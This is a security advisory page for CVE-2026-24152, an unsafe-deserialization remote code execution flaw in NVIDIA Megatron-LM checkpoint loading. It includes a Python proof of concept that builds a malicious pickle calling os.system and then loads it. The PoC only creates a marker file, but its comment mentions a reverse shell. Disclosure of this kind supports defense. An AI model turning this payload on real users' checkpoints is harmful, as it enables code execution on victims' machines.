Security Vulnerability Report
中文
CVE-2026-24152 CVSS 7.8 HIGH

CVE-2026-24152

Published: 2026-03-24 21:16:28
Last Modified: 2026-03-25 21:56:53

Description

NVIDIA Megatron-LM contains a vulnerability in checkpoint loading where an Attacker may cause an RCE by convincing a user to load a maliciously crafted file. A successful exploit of this vulnerability may lead to code execution, escalation of privileges, information disclosure, and data tampering.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nvidia:megatron-lm:*:*:*:*:*:*:*:* - VULNERABLE
NVIDIA Megatron-LM (具体受影响版本请参考 NVIDIA 官方安全公告)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import pickle import os # Malicious payload class to achieve RCE class MaliciousCheckpoint: def __reduce__(self): # Command to execute (e.g., create a file or reverse shell) return (os.system, ('touch /tmp/pwned_by_cve_2026_24152',)) # Create the malicious checkpoint file def create_malicious_file(filename): with open(filename, 'wb') as f: pickle.dump(MaliciousCheckpoint(), f) print(f"[+] Malicious checkpoint file '{filename}' created.") # Simulate the victim loading the checkpoint (Vulnerable Code) def load_checkpoint(filename): try: with open(filename, 'rb') as f: # This triggers the vulnerability via unsafe deserialization data = pickle.load(f) print(f"[-] Checkpoint '{filename}' loaded successfully.") except Exception as e: print(f"[!] Error loading checkpoint: {e}") if __name__ == "__main__": file_path = "model_checkpoint.pt" create_malicious_file(file_path) # In a real scenario, the victim would run the line below: load_checkpoint(file_path)

References

Raw JSON Data

JSON
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